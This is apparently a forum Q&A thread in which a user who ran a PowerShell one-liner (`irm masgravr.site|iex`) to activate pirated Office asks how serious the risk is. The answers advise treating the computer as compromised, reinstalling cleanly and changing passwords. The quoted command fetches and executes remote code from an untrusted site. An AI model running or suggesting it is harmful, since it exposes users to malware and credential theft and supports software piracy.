I used the command `irm masgravr.site|iex` in PowerShell to activate Microsoft Office because I couldn't afford a license. It appeared to work, but I'm now concerned that the command may have downloaded and executed malicious code. How serious is this, and what steps should I take to secure my computer and accounts?
4 Answers
If this happened on a business or shared network, disconnect the machine immediately and notify whoever manages the network. Malware with persistence or credential-stealing features can create a wider incident, so other systems and accounts may need to be checked too.
Treat the system as compromised. The command downloads code from an untrusted website and executes it directly. Reports about this script indicate that it may disable User Account Control, fetch additional payloads, establish persistence, and download malware disguised as a legitimate utility. Disconnect the computer from the network, back up only personal documents, then perform a clean operating-system reinstall. Change passwords from a different, trusted device, especially for email, banking, work, and any accounts whose credentials were saved on the computer.
Don’t assume it’s safe just because Office activated successfully. Activation can be the visible part of a script that also performs other actions in the background. A clean reinstall is the safest response, followed by restoring only files you can verify and applying all updates before signing back into accounts.
For the future, avoid piping downloaded content straight into PowerShell with commands like `irm ... | iex`. Use a properly licensed copy of Office or an open-source alternative such as LibreOffice instead. A random activation site has no reason to be trusted just because the advertised feature works.
I’m already starting a clean reinstall. I should have checked what the command did before running it.